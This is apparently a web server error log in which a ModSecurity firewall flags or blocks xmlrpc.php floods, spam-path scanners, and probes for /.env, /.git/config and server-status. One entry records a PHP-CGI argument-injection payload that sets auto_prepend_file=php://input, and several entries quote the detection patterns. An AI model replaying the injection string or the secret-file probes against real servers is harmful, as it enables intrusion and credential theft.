[Wed Apr 29 21:13:57.164133 2026] [:error] [pid 21136:tid 21147] [client 103.81.92.13:21152] [client 103.81.92.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.81.92.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afIEFSlIfGGQdPVv8_PphAAAAEY"]
[Wed Apr 29 21:14:07.848183 2026] [:error] [pid 21536:tid 21539] [client 103.81.92.13:21456] [client 103.81.92.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.81.92.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afIEHyREaVkH9P5H_LQmBQAAAIE"]
[Wed Apr 29 21:14:18.446368 2026] [:error] [pid 21536:tid 21549] [client 103.81.92.13:21388] [client 103.81.92.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.81.92.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afIEKiREaVkH9P5H_LQmDwAAAIs"]
[Wed Apr 29 21:23:59.158821 2026] [:error] [pid 47618:tid 47630] [client 49.233.45.47:49406] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afIGb3HYUSxIrhce2OAjPgAAAUk"]
[Wed Apr 29 22:06:18.230200 2026] [:error] [pid 21136:tid 21145] [client 43.133.69.37:41548] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afIQWilIfGGQdPVv8_PvhAAAAEQ"]
[Thu Apr 30 02:20:42.938006 2026] [:error] [pid 21138:tid 21214] [client 212.227.21.19:38806] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afJL-puzwUiyMeUnp31CAAAAARE"]
[Thu Apr 30 02:20:44.937148 2026] [:error] [pid 21137:tid 21174] [client 212.227.21.19:38808] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afJL_Pw-HnaioFPIurWfZgAAAAU"]
[Thu Apr 30 02:20:46.959549 2026] [:error] [pid 47618:tid 47632] [client 212.227.21.19:38814] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afJL_nHYUSxIrhce2OBS7wAAAUs"]
[Thu Apr 30 02:20:49.061706 2026] [:error] [pid 47618:tid 47643] [client 212.227.21.19:15026] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afJMAXHYUSxIrhce2OBS8QAAAVY"]
[Thu Apr 30 02:20:51.029951 2026] [:error] [pid 21137:tid 21173] [client 212.227.21.19:15032] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afJMA_w-HnaioFPIurWfaQAAAAQ"]
[Thu Apr 30 02:20:53.013140 2026] [:error] [pid 21136:tid 21161] [client 212.227.21.19:15036] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afJMBSlIfGGQdPVv8_MEgwAAAFQ"]
[Thu Apr 30 02:20:54.914428 2026] [:error] [pid 21536:tid 21557] [client 212.227.21.19:15040] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afJMBiREaVkH9P5H_LROwgAAAJM"]
[Thu Apr 30 02:20:56.935615 2026] [:error] [pid 21227:tid 21257] [client 212.227.21.19:15046] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afJMCMB3c6U5AGPPsXq0LAAAANg"]
[Thu Apr 30 02:20:59.136034 2026] [:error] [pid 21137:tid 21179] [client 212.227.21.19:42120] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afJMC_w-HnaioFPIurWfcQAAAAo"]
[Thu Apr 30 02:21:24.008900 2026] [:error] [pid 21137:tid 21193] [client 212.227.21.19:19240] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afJMJPw-HnaioFPIurWfhgAAABg"]
[Thu Apr 30 02:21:25.904405 2026] [:error] [pid 47618:tid 47634] [client 212.227.21.19:19248] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afJMJXHYUSxIrhce2OBS9wAAAU0"]
[Thu Apr 30 02:21:27.912164 2026] [:error] [pid 21138:tid 21211] [client 212.227.21.19:2526] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afJMJ5uzwUiyMeUnp31CDQAAAQ4"]
[Thu Apr 30 02:21:29.892511 2026] [:error] [pid 21137:tid 21190] [client 212.227.21.19:2528] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afJMKfw-HnaioFPIurWfiAAAABU"]
[Thu Apr 30 02:21:31.777310 2026] [:error] [pid 21137:tid 21169] [client 212.227.21.19:2534] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afJMK_w-HnaioFPIurWfiQAAAAA"]
[Thu Apr 30 02:21:33.783733 2026] [:error] [pid 21137:tid 21177] [client 212.227.21.19:2544] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afJMLfw-HnaioFPIurWfkQAAAAg"]
[Thu Apr 30 02:21:36.650427 2026] [:error] [pid 21138:tid 21206] [client 212.227.21.19:2548] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afJMMJuzwUiyMeUnp31CFwAAAQk"]
[Thu Apr 30 02:21:38.693505 2026] [:error] [pid 21137:tid 21185] [client 212.227.21.19:2174] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afJMMvw-HnaioFPIurWflwAAABA"]
[Thu Apr 30 02:22:24.084472 2026] [:error] [pid 21227:tid 21253] [client 212.227.21.19:63350] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "afJMYMB3c6U5AGPPsXq0PgAAANQ"]
[Thu Apr 30 02:22:26.084521 2026] [:error] [pid 21138:tid 21212] [client 212.227.21.19:63358] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "afJMYpuzwUiyMeUnp31CSgAAAQ8"]
[Thu Apr 30 02:22:28.083158 2026] [:error] [pid 21138:tid 21213] [client 212.227.21.19:60636] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "afJMZJuzwUiyMeUnp31CTwAAARA"]
[Thu Apr 30 02:22:30.086194 2026] [:error] [pid 47618:tid 47627] [client 212.227.21.19:60652] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "afJMZnHYUSxIrhce2OBTHgAAAUY"]
[Thu Apr 30 02:22:32.100659 2026] [:error] [pid 47618:tid 47624] [client 212.227.21.19:60660] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "afJMaHHYUSxIrhce2OBTHwAAAUM"]
[Thu Apr 30 02:22:34.094785 2026] [:error] [pid 21138:tid 21208] [client 212.227.21.19:60672] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "afJMapuzwUiyMeUnp31CXwAAAQs"]
[Thu Apr 30 04:01:04.569929 2026] [:error] [pid 18220:tid 18242] [client 43.156.204.134:46680] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afJjgMyESVSfAPebmxbYIwAAANM"]
[Thu Apr 30 05:21:14.277588 2026] [:error] [pid 18111:tid 18126] [client 43.153.15.51:44358] [client 43.153.15.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afJ2SmctLbxB7Q1_oK18zQAAAAQ"]
[Thu Apr 30 07:57:29.185753 2026] [:error] [pid 52436:tid 52442] [client 105.156.6.50:53207] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKa6QLFWPk_P7AfE8f85AAAAUM"]
[Thu Apr 30 07:57:39.218186 2026] [:error] [pid 52350:tid 52381] [client 105.156.6.50:53595] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKa8_1j4GHE9hm7bfdXFAAAARc"]
[Thu Apr 30 07:57:49.639442 2026] [:error] [pid 18111:tid 18136] [client 105.156.6.50:54083] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKa_WctLbxB7Q1_oK2PjAAAAA4"]
[Thu Apr 30 07:58:00.059013 2026] [:error] [pid 52350:tid 52357] [client 105.156.6.50:54389] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKbCP1j4GHE9hm7bfdXIwAAAQA"]
[Thu Apr 30 07:58:10.474778 2026] [:error] [pid 18113:tid 18178] [client 105.156.6.50:54699] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKbEniIjwsVGkvz5IlhbAAAAIE"]
[Thu Apr 30 08:03:24.209461 2026] [:error] [pid 52350:tid 52364] [client 105.156.6.50:64683] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKcTP1j4GHE9hm7bfdYcQAAAQY"]
[Thu Apr 30 08:04:05.842675 2026] [:error] [pid 18111:tid 18145] [client 105.156.6.50:49716] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKcdWctLbxB7Q1_oK2RlQAAABc"]
[Thu Apr 30 08:04:47.528351 2026] [:error] [pid 18220:tid 18233] [client 105.156.6.50:51142] [client 105.156.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.156.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKcn8yESVSfAPebmxb-xAAAAMo"]
[Thu Apr 30 08:47:39.205350 2026] [:error] [pid 18111:tid 18128] [client 43.140.247.223:51212] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afKmq2ctLbxB7Q1_oK2dwAAAAAY"]
[Thu Apr 30 08:51:23.773337 2026] [:error] [pid 52436:tid 52452] [client 200.164.32.150:8856] [client 200.164.32.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.164.32.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKniwLFWPk_P7AfE8cCOgAAAU0"]
[Thu Apr 30 08:51:30.933986 2026] [:error] [pid 18220:tid 18245] [client 200.164.32.150:5402] [client 200.164.32.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.164.32.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKnksyESVSfAPebmxYEkgAAANY"]
[Thu Apr 30 08:51:41.440847 2026] [:error] [pid 18111:tid 18126] [client 200.164.32.150:6568] [client 200.164.32.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.164.32.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKnnWctLbxB7Q1_oK2fzQAAAAQ"]
[Thu Apr 30 08:51:52.030229 2026] [:error] [pid 53641:tid 53664] [client 200.164.32.150:8116] [client 200.164.32.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.164.32.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKnqGC119wja3QGeAF84AAAAYw"]
[Thu Apr 30 08:52:02.553415 2026] [:error] [pid 52350:tid 52366] [client 200.164.32.150:5789] [client 200.164.32.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.164.32.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afKnsv1j4GHE9hm7bfdf3wAAAQg"]
[Thu Apr 30 10:32:49.783881 2026] [:error] [pid 18220:tid 18223] [client 43.162.114.69:50838] [client 43.162.114.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afK_UcyESVSfAPebmxYOcAAAAMA"]
[Thu Apr 30 11:41:18.425450 2026] [:error] [pid 18112:tid 18163] [client 43.153.76.247:58858] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afLPXiUrJv3y8j6Lm1vgDAAAAE0"]
[Thu Apr 30 12:22:20.429952 2026] [authz_core:error] [pid 18220:tid 18236] [client 209.97.180.8:44364] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Thu Apr 30 12:22:31.860630 2026] [:error] [pid 18113:tid 18200] [client 209.97.180.8:57468] [client 209.97.180.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "afLZB3iIjwsVGkvz5Il28wAAAJc"]
[Thu Apr 30 12:22:37.247601 2026] [:error] [pid 18112:tid 18168] [client 209.97.180.8:50086] [client 209.97.180.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "afLZDSUrJv3y8j6Lm1vnpgAAAFI"]
[Thu Apr 30 12:22:55.129025 2026] [:error] [pid 53641:tid 53664] [client 209.97.180.8:33632] [client 209.97.180.8] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "afLZH2C119wja3QGeAGt3wAAAYw"]
[Thu Apr 30 12:23:21.304830 2026] [:error] [pid 53641:tid 53671] [client 209.97.180.8:48174] [client 209.97.180.8] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "afLZOWC119wja3QGeAGt_QAAAZM"]
[Thu Apr 30 16:38:57.852211 2026] [:error] [pid 40003:tid 40017] [client 95.91.110.210:37678] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afMVITIyJ-Orl-2KA1LBnwAAAMs"]
[Thu Apr 30 16:39:02.352852 2026] [:error] [pid 39910:tid 39926] [client 95.91.110.210:4694] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afMVJttf04xYDlbRUODtaAAAAAw"]
